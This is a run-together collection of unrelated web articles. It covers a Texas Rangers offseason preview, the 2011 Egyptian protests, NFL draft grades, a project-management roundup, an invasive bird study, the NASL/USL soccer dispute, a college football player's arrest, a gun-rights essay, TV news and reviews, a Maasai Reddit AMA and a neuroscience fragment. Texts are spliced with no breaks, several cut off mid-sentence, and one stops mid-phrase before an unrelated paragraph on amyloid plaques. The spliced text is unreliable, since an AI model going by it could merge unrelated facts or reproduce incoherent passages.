The other lineup spot that has changed at least somewhat is catcher, where A.J. Pierzynski departed for a one-year deal with the Red Sox after a mediocre.272/.297/.425 season. Backup Geovany Soto, who hit a slick.245/.328/.466 in 184 plate appearances, inherits the mantle of the starting job after re-signing via a one-year, $3.05 million deal, with former Blue Jay J.P. Arencibia (.194/.227/.365 with 21 homers but an execrable 148/18 strikeout-to-walk ratio) along for the ride as his backup; he signed a $1.8 million contract after being nontendered by Toronto.
The bullpen will see some turnover with the departure of free agent Joe Nathan for Detroit. Retaking the closer role will be 25-year-old Neftali Feliz, who made six September relief appearances after returning from August 2012 Tommy John surgery. If he needs more time to regain the form that made him the 2010 AL Rookie of the year, Joakim Soria, who struck out 10.6 per nine in 23 2/3 innings after returning from his second Tommy John surgery, should be able to handle the load. Jason Frasor, who put up a 2.57 ERA in 49 innings for the Rangers but missed seven weeks due to a forearm strain, returns via a one-year, $1.75 million deal. Waiver wire pickups Chaz Roe (4.03 ERA in 22 1/3 innings with the Diamondbacks) and Shawn Tolleson (4.37 ERA in 37 2/3 innings with the Dodgers in 2012 before missing most of 2013 with a herniated disc) both offer depth and the ability to miss bats.
Unfinished Business: Starting pitching
Due to injuries, last year's rotation was in a near-constant state of flux, with Yu Darvish and Derek Holland the only starters to take more than 20 turns. Alas, Holland tore cartilage in his left knee in a freak accident, requiring microfracture surgery that will keep him out until midseason. That leaves Texas with Darvish and four starters with injury-related question marks hanging over their heads. The least worry centers around 23-year-old Martin Perez, who lived up to his longtime status as a top prospect with a strong showing (3.62 ERA in 20 starts) after returning from a broken forearm. The only concern about him is how far beyond last year's 160 2/3 inning workload (including 36 in the minors) he'll be able to push.
As for the rest, Alexi Ogando, who posted a 3.11 ERA in 18 starts and five relief appearances, made three separate trips to the DL for shoulder issues, and may be better off in the bullpen. Matt Harrison, who earned All-Star honors in 2012, went under the knife more often (three times) than he took the major league mound (twice); he underwent a pair of surgeries in April and May to repair a herniated disk, then an additional one in September to alleviate thoracic outlet syndrome. If there's good news, it's that this time — unlike his July 2009 surgery for the same condition — the latter surgery was on his right (non-throwing) shoulder; he hopes to be ready for spring training.
Rounding out this shaky quartet is Colby Lewis, who missed all of last season (save for 24 innings of rehab work) due to the double-whammy of July 2012 surgery to repair a torn flexor tendon and August 2013 surgery to repair his right hip labrum.
With five starters (Matt Garza, Justin Grimm, Travis Blackley, Ross Wolf and Lindblom) who combined for 41 starts now gone from the organization, that leaves Nick Tepesch (4.84 ERA and 7.6 strikeouts per nine in 17 starts and 93 innings) as the most experienced fill-in. Lefty reliever Robbie Ross (3.03 ERA and 8.4 strikeouts per nine in 62 1/3 innings) could be stretched out as well, but it would behoove Daniels to add some depth. Unless the GM has the green light to move significantly beyond last year's $125.3 million Opening Day payroll, that probably rules out a late signing of Ervin Santana, Ubaldo Jimenez or Bronson Arroyo; the Rangers are at $123.8 million with pre-arbitration renewals and Moreland's first year of arb-eligibility in the balance.
Thus Texas will have to sift through the bargain bin to find someone to eat innings, with names like Bruce Chen, Jason Hammel, Scott Baker, Chris Capuano and Jerome Williams coming with their own sets of question marks. Lefties Chen (3.27 ERA in 121 innings split between starting and relief for the Royals) and Paul Maholm (4.41 ERA in 153 innings for the Braves) are two pitchers known to have had discussions with the team in the wake of Holland's injury.
Preliminary Grade: B+
The Rangers have undergone a considerable facelift since last October, and their offense should be much-improved, giving them a shot at reclaiming their AL West supremacy. That said, the loss of Holland exacerbates their lack of proven rotation options, and until Daniels bulks it up with additional resources, there's reason to be concerned.
This article has been corrected to include Alex Rodriguez's contract in the annals of franchise history.Egyptian government deploys police, shuts down Internet ahead of mass demonstrations
By Johannes Stern and Stefan Steinberg
28 January 2011
The mass protests in Egypt that began on January 25 are continuing, despite threats from the government and violent suppression by Egyptian police forces. A major demonstration is planned for today, following the traditional Friday prayer.
A tear gas canister amid Cairo protestors
Another three deaths have been reported in addition to the three casualties on Tuesday, and the interior ministry confirmed that police forces have made over 1,000 arrests.
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rusher in this draft, even after signing Robert Ayers. Spence is a good fit for their defense, and fell in the right spot in the draft given his off-field issues. Picking a kicker in the second round will always be questioned, especially when you give up an early fourth-round pick in a deep draft to do so. But he's a darn good kicker -- a position becoming more important with the recent rule changes.
Obviously the team understood the issues they faced in the secondary, getting a well-respected cover guy in Smith. Benenoch would have been picked in the third round in a draft with less depth. He'll be a starter at guard or tackle very soon. Northwestern "Superback" Vitale can fit multiple roles for the Bucs.
NFC West
Arizona Cardinals
Draft picks: Robert Nkemdiche (No. 29 overall), Brandon Williams (No. 92 overall), Evan Boehm (No. 128 overall), Marqui Christian (No. 167 overall), Cole Toner (No. 170 overall), Harlan Miller (No. 205 overall)
Day 1 grade: B
Day 2 grade: B
Day 3 grade: C
Overall grade: B
The skinny: The Cardinals trusted that Tyrann Mathieu would fly the straight-and-narrow, and are banking the same is true of Nkemdiche. If he harnesses his athleticism without an issue, then this pick could look great. If not, it's a wasted opportunity to improve the secondary or another part of the team with someone without character issues.
Williams is a recently converted corner with loads of potential, but who might be a bit of a project to take with the only Day 2 pick. They did get defensive end Chandler Jones, though. That should count for something.
Carson Palmer was happy to see a stout center in Boehm picked in the fourth round. Their fifth-round picks were not of particularly good value.
Los Angeles Rams
Draft picks: Jared Goff (No. 1 overall), Tyler Higbee (No. 110), Pharoh Cooper (No. 117), Temarrick Hemingway (No. 177), Josh Forrest (No. 190), Mike Thomas (No. 206)
Day 1 grade: B
Day 2 grade: Incomplete
Day 3 grade: D
Overall grade: C
The skinny: Goff is the best quarterback in the class, so there's no issue there. The team gave up a lot of picks to get him; the Rams received a bunch of picks in the RGIII trade, however, and it didn't improve the team because it needed a quarterback. So I can't seriously downgrade the move.
The Rams didn't have any Day 2 picks due to the trade up for Goff.
It was a bit of a surprise when Higbee came off the board in the fourth round given his off-field issues. He'll be a seam threat if he can stay on the straight and narrow, though. The Rams kept giving Goff weapons with a solid pick in Cooper, Hemingway and Thomas. I like Forrest as an inside linebacker, but the receiver picks left the team without any offensive line or defensive back help.
San Francisco 49ers
Draft picks: DeForest Buckner (No. 7 overall), Joshua Garnett (No. 28 overall), Will Redmond (No. 68 overall), Rashard Robinson (No. 133), Ronald Blair (No. 142), John Theus (No. 145), Fahn Cooper (No. 174), Jeff Driskel (No. 207), Kelvin Taylor (No. 211), Aaron Burbridge (No. 213), Prince Charles Iworah (No. 249)
Day 1 grade: B
Day 2 grade: B+
Day 3 grade: A
Overall grade: B+
The skinny: Buckner is an excellent pick in the top seven as the impact defensive end they've missed since Justin Smith has left. Garnett is my favorite offensive line prospect in this draft, and the 49ers need to replace Alex Boone. But giving up two picks in the deepest draft in history for a guard is a tough sell for me. Redmond is coming off an injury, but teams knew he would come off the board in the third round so that was no surprise. He should work his way into a nickel or starting role when back on the field.
In Round 4, Robinson's athleticism was worth the gamble. They got great value in the Blair pick. He should be a starter as a five-technique despite a poor combine workout. Theus and Cooper are swing tackle candidates who should only get better with time.
Seattle Seahawks
Draft picks: Germain Ifedi (No. 31 overall), Jarran Reed (No. 49 overall), C.J. Prosise (No. 90 overall), Nick Vannett (No. 94 overall), Rees Odhiambo (No. 97 overall), Quinton Jefferson (No. 147), Alex Collins (No. 171), Joey Hunt (No. 215), Kenny Lawler (No. 243), Zac Brooks (No. 247)
Day 1 grade: A
Day 2 grade: A
Day 3 grade: A
Overall grade: A
The skinny: Trading down to grab an extra third-round pick in this very deep draft deserves a big grade. Then, the Seahawks got an equally big player in Ifedi, who can dominate at guard or tackle with some technique coaching.
The Seahawks traded up to get Reed, a nice fit to fill in for Brandon Mebane in the middle of the defensive line. Prosise could be the next Matt Forte, so getting him at pick No. 90 was great value. I do have a bit of a concern picking Odhiambo in the third round, but only because of durability concerns. If he can stay healthy, he should be a starting left tackle.
Jefferson fits the strong and long defensive linemen that Pete Carroll likes. Collins could be Beast Mode Jr., and Brooks is also a tough guy. Hunt is a solid center. Lawler could have been a fourth- or fifth-round pick, so hats off to the Seahawks.
Follow Chad Reuter on Twitter @chad_reuter.New project management articles published on the web during the week of June 27 – July 3. And this week’s video: Australian software project manager Adrian Fittolani’s TEDx talk at Deakin University on why being more selective about your TV watching might be the key to both achieving your goals and feeling more relaxed. Yes, it’s a video – but you can choose whether to watch it.
Must read!
Louis Columbus reports on the ways machine learning is impacting manufacturing, from production capacity and waste reduction to manufacturing-as-a-service.
Lynda Bourne notes some lessons learned on selling change, in the context of Brexit. “It helps if they are unhappy with the status quo.”
Chris Middleton speculates on the impact of Brexit on data protection, data transfer, and privacy. These issues will matter to IT project managers in almost every country.
Established Methods
Maria Nordberg interviews David Hillson, the Risk Doctor, on how uncertainties in work and project should be handled. Just 17 minutes, safe for work.
John Goodpasture opines that the first question of risk management should be, “Where does the slack go?”
Matthew Squair looks at the ramifications of the first fatality attributed to Tesla’s autopilot, while humming an old song by The Doors.
Nick Pisoni points out the limitations of earned value management, especially in managing contracts and risks.
Elizabeth Harrin has some recommendations for getting benefits from new tools brought in by team members without getting bogged down in tech adoption.
Beth Spriggs notes that a large project has to overcome more inertia than a small one, and describes a process to get things moving.
Ryan Ogilvie looks at the strategic considerations that must be addressed by a knowledge management solution.
Agile Methods
Johanna Rothman concludes her series on product owners and learning with parts 4 and 5.
Siddalingesh Zalaki shares a product owner’s view of story maturity, and how to achieve it.
The Clever PM describes several indicators of an Agile culture.
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Applied Leadership
Dmitriy Nizhebetskiy has posted the ultimate guide to effective team meetings.
Mike Clayton lists a few attributes of a good project manager.
Susanne Madsen points out the most common communication mistakes.
Joe Curcillo explains a team-building acronym: GLUE.
Stuart Easton sees the Brexit vote as a sign of the failure to build a consensus on the meaning of the leadership’s vision for the organization.
Working and the Workplace
Art Petty invokes W. Edwards Deming and Frank Herbert in identifying two types of fear and how to neutralize them.
Bertrand Duperrin reviews “The Digital Renaissance of Work: Delivering Digital Workplaces Fit for the Future,” by Paul Miller and Elizabeth Marsh.
Lisette Sutherland tells how to combat loneliness as a remote worker. Just 9 minutes, safe for work.
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Peter Saddington shares a list of ten things that require zero talent, but make all the difference.
Enjoy!
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PrintThe pin-tailed whydah is a spectacular little bird. It’s also a parasite. And if you live near Los Angeles or some other parts of the United States, it could soon become a regular visitor to your backyard, says Mark Hauber, an evolutionary ecologist at Hunter College and the Graduate Center of the City University of New York.
In a study published Wednesday in The Condor: Ornithological Applications, Dr. Hauber and his colleagues used computer modeling to predict where you might spot them next. Their models suggest that potential sites for invasion include California’s Orange County, southern Texas, southern Florida, Puerto Rico, Jamaica and many of the Hawaiian Islands. If the birds are introduced in great numbers to these areas, they could have a damaging effect on the birds you know and love.
During the mating season, a male pin-tailed whydah grows a plume of black feathers twice as long as his body. To impress a potential partner, he hovers in front her like a helicopter, flapping his wings and dangling his long tail feathers like luxurious locks of hair. He sings. After mating, the male leaves to breed more, and the female lays eggs — in another bird’s nest.While the league at the top of the American (and Canadian) pro soccer pyramid, such as it is, focuses next week on crowning a champion, the battles beneath MLS finally may reach their conclusion.
There have been multiple meetings comprising some combination of NASL owners, NASL and USL executives and U.S. Soccer Federation officials in recent weeks, aimed at addressing the volatility and uncertainty weighing on the sport’s second, third and fourth tiers. And there’s more to come Monday and Tuesday in New York. There, the NASL and its most famous member, the Cosmos, could find themselves on their last legs.
The NASL, which sits one level beneath MLS, originally intended to compete with the older league on equal terms. But now it’s fighting for its survival. Pressure is coming from above and below. Minnesota United, one of the NASL’s most successful clubs, has joined MLS. Meanwhile, the third-division USL, which is affiliated with MLS, is expanding rapidly and will absorb two NASL clubs—the Tampa Bay Rowdies and Ottawa Fury. And if the USL has its way, the Rowdies and Fury will be second division again in 2017. The league has filed a formal application with U.S. Soccer to move up the pyramid.
Article continues below...
Several sources have told SI.com that they expect that application to be approved.
Absent promotion and relegation, divisions are largely semantic. But those semantics have consequences. The labels can impact investment, sponsorship, budget and prestige. They also indicate the standards to which U.S. Soccer holds a given league. At the moment, the NASL’s original D1 ambitions have faded. The departure of Tampa Bay, Ottawa and Minnesota leaves it with 10 teams—at least in theory.
The New York Cosmos celebrate after capturing the 2015 NASL Spring Season Championship at James M. Shuart Stadium on June 13, 2015 in Hempstead, New York. (Photo by Mike Stobe/New York Cosmos/Getty Images)
Rayo OKC isn’t expected to return. The Fort Lauderdale Strikers don’t have an owner and are the subject of a legal complaint filed by Rowdies owner Bill Edwards, who apparently helped keep his rival afloat. The Jacksonville Armada have financial problems, according to sources. And the Cosmos, the NASL’s three-time champion and flagship club, may be on its way out of business. Tension is high as the NASL tries to attract expansion teams while several existing clubs hunt for investors or eye the exit.
The USL, meanwhile, was at 29 clubs last season and will field at least 32 in 2017. It maintains that it’s already the de facto second division, even though it includes 11 MLS-operated reserve teams, and it anticipates acquiring an official designation next week. But U.S. Soccer has no interest in creating a logjam of two leagues at the same tier, nor does it want to see its D2 league fold. NASL clubs considering a move to USL likely will have to pay to do so, and they must decide quickly whether to bet on the NASL’s survival or bolt for the USL and hope it’s raised to D2. A merger isn’t going to happen, and the USL reportedly rejected the NASL’s offer for interleague play. The USL has no interest or reason to alter its structure or ownership and wouldn’t be interested in absorbing every NASL club.
On Monday in New York, U.S. Soccer’s pro league task force will meet to review each circuit’s year-end reports and their requests for division sanctioning and waivers (not every team meets every standard). That task force is comprised of three USSF officials—chief administrative officer Brian Remedi, executive VP Carlos Cordeiro and U.S. Adult Soccer Association president John Motta. They’ll present a report to the full board of directors on Tuesday. USL and NASL officials will be in New York as well. U.S. Soccer could vote Tuesday to grant the NASL the waivers it needs to remain D2, thus maintaining the status quo. It could try to find a way to create one all-encompassing second division. Or it could “promote” the USL and “relegate” the NASL, which very well could result in the movement of some teams and the folding of others.
If one or more NASL teams shuts down or leaves before then, the league could collapse on its own.
The division standards, ironically, were enacted to prevent the sort of chaos that once was all too frequent in the USL and its predecessors. Fly-by-night teams would come and go, players and coaches dealt with sub-par operations and it was difficult to keep track of who was where. U.S. Soccer has wanted to tighten the standards over time, which the NASL objected to last year, and it’s believed the leagues are still operating under those set down in 2014.
A D2 league, for example, must start with a minimum of eight teams and have 12 by its sixth season. Next year will be the NASL’s seventh. Three-quarters of its teams must play in metro areas of at least 750,000 people and they all have to be in stadiums seating at least 5,000 fans. Each club’s principal owner must have a net worth of $20 million. Those standards are lower at the D3 level. U.S. Soccer has been auditing USL clubs this year to ensure they comply, and sources tell SI.com that the league is confident that meeting a sufficient number of D2 standards isn’t an issue. But as long as the NASL occupies the second tier, the USL likely won’t. There’s no rule preventing two leagues at the same tier, but U.S. Soccer desperately wants to avoid that confusion.
Bill Peterson, the head of the NASL, celebrates Armada FC’s arrival to the NASL. (Photo by Bob Mack)
NASL commissioner Bill Peterson has been trying to recruit expansion teams and at least four potential groups were present at the league’s meetings last week in Atlanta, according to sources. The NASL’s hope is that it can hang on at D2 long enough to bring new teams aboard in 2018. Los Angeles, San Diego, Detroit, Chicago, Atlanta and Hartford are among the cities with potential investors, according to sources. The Chicago effort is led by former Chicago Fire president Peter Wilt, who also helped launch NASL finalist Indy Eleven. Wilt also is working to recruit investors in other markets, according to a source.
Indy is one of the healthier NASL clubs. It had MLS ambitions several years ago but a couple of failed stadium efforts put those plans to rest for the time being. Its average attendance of 8,396 was second in the league behind Minnesota (the overall average was 4,734). Tampa Bay and Ottawa were third and fourth, respectively, meaning Indy is the only one of the league’s four most popular teams that might remain in 2017.
Sources say the key to both leagues’ future may be in North Carolina, where the Cary-based Carolina RailHawks believe they are laying the groundwork for entry into MLS. The question is whether they’ll attempt to make the jump from the NASL, where they’ve spent the past six years, or the USL, where they played in 2007-09.
On Tuesday afternoon, presumably while the USSF board is meeting in New York City, the Railhawks will unveil a new name and logo, as well as their intention to finalize a stadium plan and secure an MLS expansion team within the next 12-18 months. The new name, North Carolina FC, and a standard shield logo were leaked early Friday by Raleigh writer Neil Morris.
The RailHawks were purchased last year by local medical software entrepreneur Steve Malik. He once was a proponent of aggressive NASL expansion. But if MLS is his ultimate goal, moving to the affiliated USL might be the ticket. He’d have natural rivals in Richmond and Charlotte (another market with MLS ambitions) and a better spot for his reserve team, which currently competes in the fourth-tier, semi-pro NPSL. The NPSL has a relationship with the NASL while its chief competitor, the PDL, is owned by the USL. It just so happens that two of the Railhawks’ three Carolina-based NPSL rivals, the Myrtle Beach Mutiny and Tobacco Road FC (Durham), moved to the PDL last month.
If Carolina switches leagues, the remaining dominoes may fall. The Cosmos, despite their on-field success and the value of their brand, could fold soon if a new investor isn’t found. Most front-office employees are on furlough and according to Minnesota website FiftyFiveOne, the club has lost more than $30 million since joining the NASL in 2013. The Cosmos had intended to leave Hofstra University and play the 2017 season at MCU Park, a baseball stadium in Brooklyn. Several players and head coach Giovanni Saverese remain under contract. It’s almost impossible to imagine the NASL without the Cosmos, but it’s also difficult to foresee them playing anywhere else. The club’s decision to rebuff MLS’s expansion invitation left lingering bitterness that may come back to bite the Cosmos if the USL proves to be the only safe harbor.
New York Cosmos forward Jairo Arrieta celebrates a goal against the Carolina Railhawks at James M. Shuart Stadium. (Photo by Anthony Gruppuso/USA TODAY Sports)
Jacksonville is thought to be another candidate to move owing to its precarious financial situation. The number of USL teams and their focus on regional scheduling cuts costs. Those savings may be an inducement to FC Edmonton as well. The NASL’s only remaining Canadian club announced an extension for coach Colin Miller on Friday and co-owner Tom Fath told Canadian website The11 that, “The expectation is that we will play in the NASL in 2017.” Puerto Rico FC, which is owned by New York Knicks forward Carmelo Anthony, and Indy are expected to survive.
And that leaves Miami FC, the ambitious club owned by Italian media rights mogul Riccardo Silva. MLS’s pursuit of a Miami franchise owned by David Beckham could mean the USL won’t be interested in taking Silva aboard. But the USL and Silva have talked, according to a source. Miami FC spent the 2016 season at FIU Stadium, but it was unhappy with the field.
Another source said that Silva has spoken with Miami Dolphins owner Stephen Ross about possibly playing at Hard Rock Stadium (the latest/sixth name for the NFL facility). Ross helped launch the International Champions Cup, the summer friendly tournament that attracts big-name European teams to U.S. shores, and was linked to Beckham several years ago. Minor league soccer doesn’t appear to be Silva’s and Ross’s endgame. But the NASL may not even maintain the eight teams required to qualify for D3 next year, leaving the USL as Silva’s only option for the time being.
Where Miami FC will play in 2017 is uncertain. Where several others will play is uncertain. What is certain is that a solution must be found soon. USL teams still haven’t started crafting their 2017 schedules, because they don’t know how many teams will wind up in the league. The league’s annual meeting is next week in Florida. NASL players aren’t sure if they need to look for new clubs. Front office personnel face upheaval as well. Everyone is waiting for someone else to make the next move, and it appears it appears it may fall to U.S. Soccer’s board to untangle the knot.
This article originally appeared onRutgers cornerback Darian Dailey and a co-defendant, Trazelle Johnson, stole $20 in an armed robbery early Sunday morning, according to the arrest warrant filed by the Sarasota (Fla.) County Sheriff's Office.
Dailey, who was driving a black Dodge registered to his mother, and Johnson, the passenger, stopped the car directly in front of an 18-year-old who was riding his bicycle home from work just before 2 a.m. on Sunday, according to the warrant. Police said Johnson got out of the car with his face covered by a cloth and pointed what appeared to be a black semi-automatic handgun at the victim and asked, "What you got?"
After the victim said he had $20, Johnson said, "Hand it over," according to the warrant. Dailey, 19, stood behind Johnson, 19, near the rear of vehicle during the exchange. Dailey and Johnson then got back into the car and drove away, according to the warrant.
The victim copied the car's tag number and the vehicle was located by Manatee County Deputies a short time later. A black pellet gun (without red tip) was in plain view in the vehicle, according to the warrant.
The victim was escorted to the vehicle's location and identified Johnson as the passenger who pointed what appeared to be a black semi-automatic handgun at him and stole $20, police said. The victim also identified Dailey as the driver of the vehicle who participated at the time of the robbery, according to the warrant.
Dailey and Johnson were both arrested and charged with robbery with a firearm. They were booked at Manatee County Jail and held on $150,000 bond.
Dailey posted bail and was released on Monday. Johnson remains in custody as of Tuesday morning.
Dailey was home in Bradenton, Fla., on a short break. The redshirt freshman was scheduled to return to campus on Tuesday morning for the start of the summer conditioning program.
Rutgers coach Kyle Flood released a statement after the arrest on Sunday that said: "We are aware of the situation and are gathering facts. Once those facts are gathered, we will take the appropriate action."
Dan Duggan may be reached at dduggan@njadvancemedia.com. Follow him on Twitter @DDuggan21. Find NJ.com Rutgers Football on Facebook.Politics The great gun-rights divide A liberal gun owner finds ‘gun nuts’ on both sides of the debate.
Matt Slaby/LUCEO, for High Country News
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Everyone in America would like to reduce gun violence. We simply differ on how to achieve that: Put more guns in the hands of "good guys" or increase gun control? We also differ on whether the goal is worth restricting civil liberties, and on what the U.S. Constitution says about guns. Which is not to say we discuss these differences sensibly. After every mass shooting, a "pro-gun" person is shoved under the studio lights with an "anti-gun" person, and they're urged to tear each other apart on camera. It's what we have for gladiatorial entertainment, now that we've banned dog fighting.
I had a notion a few years ago that I could help bridge the gun divide by writing a book. I am one of the not-so-rare but frequently ignored liberal gun nuts – a third-generation, lifelong tax-and-spend Democrat who believes in national health care, strong environmental protection, reproductive freedom, unions, permissive immigration laws, stiff financial regulation... and guns. I like to collect guns, shoot them, hunt with them, read about them. As a New York Jew who, decades ago, chose to live in the West – first Alaska, then Montana, and now Boulder, Colorado – I also straddle the great demographic divide.
For my research, I drove around the country and asked gun owners how and why firearms are important to them. To help establish my credentials, I went through the process of getting a Colorado concealed-carry license, valid in 30 states. Nothing says "gun guy" like a loaded handgun. I wore my concealed pistol everywhere, and it helped: I enjoyed remarkably candid interviews with gun owners of all kinds. Along the way, I found myself shooting a tommy gun at a stick of dynamite in the Arizona desert and gunning down a dozen wild pigs in Texas. At a Nebraska gun show and elsewhere, I was struck by a seething anger that seemed to be based on class resentment against the wealthier urban coasts picking on the poorer rural Interior, which might explain why the temperature of the gun debate has risen during the current recession.
The result was Gun Guys: A Road Trip, published in March 2013, intended as apolitical, non-polemical cultural anthropology, played sometimes for laughs. The book's timing was unfortunate, because the whole country was understandably distraught over the massacre at Sandy Hook Elementary School in Connecticut, and hardly anyone was in the mood for nuanced discussion. Those who supported stricter controls on gun ownership, including the president I'd twice worked hard to elect, were in a lather to enact a ban on "assault rifles" – a poorly understood term, in and of itself – and the NRA was bellowing, in its typically belligerent tone-deaf way, that what America needed was more guns in schools. The interview bookers for radio and TV "news" shows were delighted to find someone other than the usual suspects to thrust before the microphones.
There's something oxymoronic about using media as impatient as TV and radio to publicize a book that took 18 months to write. I started out on local AM airwaves, waking before dawn in my Rocky Mountain Time Zone to call one station after another during the listeners' rush-hour drive-time in places as far-flung as Buffalo and Lubbock. Most interviewers wanted only to know, in our 90 seconds together, whether I was antipasto or provolone: Assault-rifle ban – for or against? Background checks – for or against? Gun magazine-size limits – for or against? Sorry, that's all the time we have; now, on to weather and traffic. As for the call-in shows, something about the anonymity of a phone line brings out the rabid on all sides.
Then I got invited onto the national stage, as a guest on Piers Morgan, a prime-time CNN show. Morgan, a former London tabloid editor lacking any discernible experience with either guns or gun owners, was crusading for an assault-rifle ban and other gun restrictions. His show sent a long black car to ferry me to a Denver TV studio, where I was powdered, wired for sound, and, this being a "remote" interview, stashed before a camera and a hot light in an otherwise dark room; it was like a police grilling in a gangster picture. Up came the music in my earpiece, and then Morgan's nasal voice, introducing me and, to my surprise, the celebrity flaming-liberal lawyer, Alan Dershowitz. I'd made the rookie mistake of not asking who the other guests would be. Dershowitz took off, shrieking into my earpiece, "Guns are destroying America! Guns are destroying America!" He continued without inhaling – and Morgan cheering him on – throughout our entire four-minute segment. As I stared into the camera's robotic eye, I considered my options. Shout Dershowitz and Morgan down or stick to the high road, as I'd intended, and await my turn? I did the latter –– my second mistake. I barely got in a word about my mission to sow a new understanding of guns in the U.S.Does Netflix ever stop being awesome? Even for a second?
In a press release sent out today, Netflix revealed that “Castlevania” – Season 1, Part 1 is headed to the streaming service this year. You may remember that producer Adi Shankar (Dredd) recently teased that he was working on an animated adaptation of “one of the most world-famous video games of the last 30 years“; as we suspected, he was referring to Castlevania.
From Netflix’s press site…
Inspired by the classic video game series, “Castlevania” is a dark medieval fantasy following the last surviving member of the disgraced Belmont clan, trying to save Eastern Europe from extinction at the hand of Vlad Dracula Tepe himself. The animated series is from Frederator Studios, a Wow! Unlimited Media company, written by best-selling author and comic book icon Warren Ellis and executive produced by Warren Ellis, Kevin Kolde, Fred Seibert, and Adi Shankar.
According to things Shankar has said in the recent past about the project, the animated series will be “super violent,” and is set to “flip the vampire sub-genre on its head.”
Yes please. To all of that.0
It’s easy to pre-judge this show by its cover. Wynonna Earp? A Western? On Syfy? But cast aside your doubts about Wynonna Earp, Emily Andras’ adaptation of the comic by Beau Smith. It’s both a fresh and familiar take on zombies, the Wild West, and gunslinger culture, starring Melanie Scrofano as Wynonna, a present-day decent of Wyatt Earp. Over the course of its first two episodes, the series lays the groundwork for a story wherein the Earps have a curse to contend with: as each new heir turns 27, a group of zombies (demons called revenants) created by Wyatt’s kills come back for a haunting. They can then only be killed by Wyatt’s gun, Peacemaker, which sends them back to hell.
The Earps and the revenants are caught in this struggle in the town of Purgatory, fittingly, which is essentially a hellmouth. Genre TV fans will already start drawing parallels to series like Buffy the Vampire Slayer and Supernatural, and those instincts are correct. Wynonna Earp is, like these other series, full of humor and quirky appeal, as well as plenty of badassery. When Wynonna is confronted by a particularly pesky revenant who — like the others — dismisses her because she’s a girl, she sneers, “I’m the girl with the badass gun,” before blowing him away.
Like any good demon hunter, Wynonna doesn’t work alone, even though she’s introduced as a loner who tends towards the dark side of things (she’s also wickedly sarcastic). She teams up, warily, with her younger sister Waverly (Dominique Provost-Chalkley) who is as sunny as Wynonna is sour. The Earps are also aided by a helpful but humorless member of a covert branch of the U.S. Marshals Service, Agent Dolls (Shamier Anderson), and over in the neutral zone is Doc Holliday (Tim Rozon), a sexy, mysterious figure who isn’t a revenant, but is also not a ghost (and seems to be playing both sides).
Wynonna and her sister both have a lot of personal scars over the deaths of their father and older sister (the original heir), as well as the disappearance of their mother, which happened at the hands of the revenant, although those events are also very closely tied with the Earp sisters’ personal decisions. But even the most harrowing moments (like when Wynonna finds Waverly strung up and struggling in a noose) are always counterbalanced with humor, however dark, with Scrofano and Provost-Chalkley exuding unbelievable amounts of charisma in their roles.
Is Wynonna Earp high art? No, and who cares? So far it’s fun, and has done an excellent job of explaining what can be a fairly confusing setup, as well as introducing a great mix of humor and violence (with decent if not spectacular effects). And not only is it a show that features several badass women in lead roles, it also incorperates a particular love interest that suggests some sexual fluidity.
The premiere episode jumps into the action and atmosphere immediately, though it takes a little while for the show settle in to what is a very fast-paced story. But by the second episode, it’s already found its rhythm, with Scrofano in particular giving a very natural, funny and engaging performance as Wynonna. (Her facial reactions alone are a joy to behold).
Wynonna Earp is something different for Syfy, and something that also feels different to anything we’re seeing on TV currently, thanks not only to its setting, but its prominent placement of so many strong, profane, kickass female characters. Just like Wynonna herself, the show is the heir to series like Buffy, Jessica Jones, and others. Granted, it’s not close to those heights yet (like Wynonna and the legacy of her gunslinger great-great grandfather), but it — and she — are only just getting started.
Rating: ★★★★ Very good — A promising start
Wynonna Earp premieres Friday, April 1st at 10 p.m. on SyfyAdam Schiller with members of the Maasai in Kajiado County, Kenya. (Courtesy of Adam Schiller)
Earlier this week, Redditors were given a pretty neat opportunity: Two leaders from the Maasai tribe, a seminomadic people living in Western Kenya, signed on to do an “Ask Me Anything.” Redditors asked about the standard stuff: religious practices, diet, what people in the village do for fun. And then, inevitably, one user asked the chiefs to describe their favorite “kind of Internet porn.”
“They don’t believe it and don’t know what it is,” the chiefs’ interlocutor replied — to a giddily gleeful audience. “Don’t think or know about pornography. They are asking is it normal in America.”
The assembled Redditors went wild. It was their crowning achievement. They concluded that they had, in what may have been the Redditiest moment ever Reddited, introduced the concept of Internet porn to a culture that had not encountered it.
[What it’s like to go online for the first time — at 82]
But what actually happened is slightly more complicated … and truthfully, more fascinating. Chief Joseph and Assistant Chief Leshan had, in fact, seen Internet porn before, because data-enabled mobile phones have actually become a huge part of even their remote, disconnected community.
As distant as the Maasai may seem from the modern world — the tribe has access to neither running water nor electricity, and many of the questions in the AMA centered on customs like drinking goats’ blood and circumcision without anesthetics — they do increasingly have access to forums like Reddit.
As Adam Schiller, the 24-year-old volunteer who set up the AMA, put it: “Imagine having porn before you have power.”
Schiller is currently living and working in Kajiado County, Kenya, teaching sex-ed to a group of teenage kids as part of a 10-week volunteer program through the aid group Voluntary Service Overseas.
Since arriving there from the United Kingdom in early June, he has turned to the Internet a few times to try to help the village he’s staying in: Earlier this month, he started a Just Giving campaign to raise money for a water tank and building supplies at a local school. Later, he decided to attempt an AMA to raise awareness about the Maasai and publicize his fundraising efforts.
Like most Internet users in Kenya, Schiller logs online from a mobile phone. Service is intermittent, and speeds are generally pretty slow. In the Masaai village where he’s staying, Schiller said, most people have cellphones, and some are beginning to get smartphones, as well. Between the fall of 2015 and spring of 2016, mobile data subscriptions in Kenya grew by almost 4 percent. There are now 24.7 million people logging online through their cellphones, in a country of 44.4 million.
A map illustrating the total number of Internet users in a country (size of the country) as well as the percentage of the population that has Internet access (shade of the country). (Oxford Internet Institute)
Still, most people in rural areas like the village where Schiller is staying are not terribly familiar with Western social networks — a fact those networks are, incidentally, working very hard to change. To persuade chiefs Joseph and Leshan to do the interview, Schiller framed Reddit as “a global baraza,” or meeting.
“I explained to Chief Joseph and Leshan that people across the world wanted to know more about their community,” Schiller said, “and may even help them in the process.”
There does remain some debate as to whether the Internet’s impact on indigenous communities is entirely good: In a 2011 paper that analyzed growing access in Nigeria, three Nigerian scholars pointed out that it could be used to erode traditional languages and values (something Reddit surely would have been accused of, if the whole porn |
forebrain in our sample was less than cortex, with virtually no compact plaques and minimal diffuse plaques. One possibility is that intracellular amyloid-β 42 is trafficked via anterograde axoplasmic transport from damaged or dying BFCNs to cortex, where it may be released and contribute to cortical plaque burden. Indeed, extensive plaque formation is common in regions that receive innervation from BFCNs, including the entire cortical mantle, and the endosomes in which amyloid-β is sequestered intracellularly have been shown to be trafficked to exosomes for release into the extracellular space (Rajendran et al., 2006).
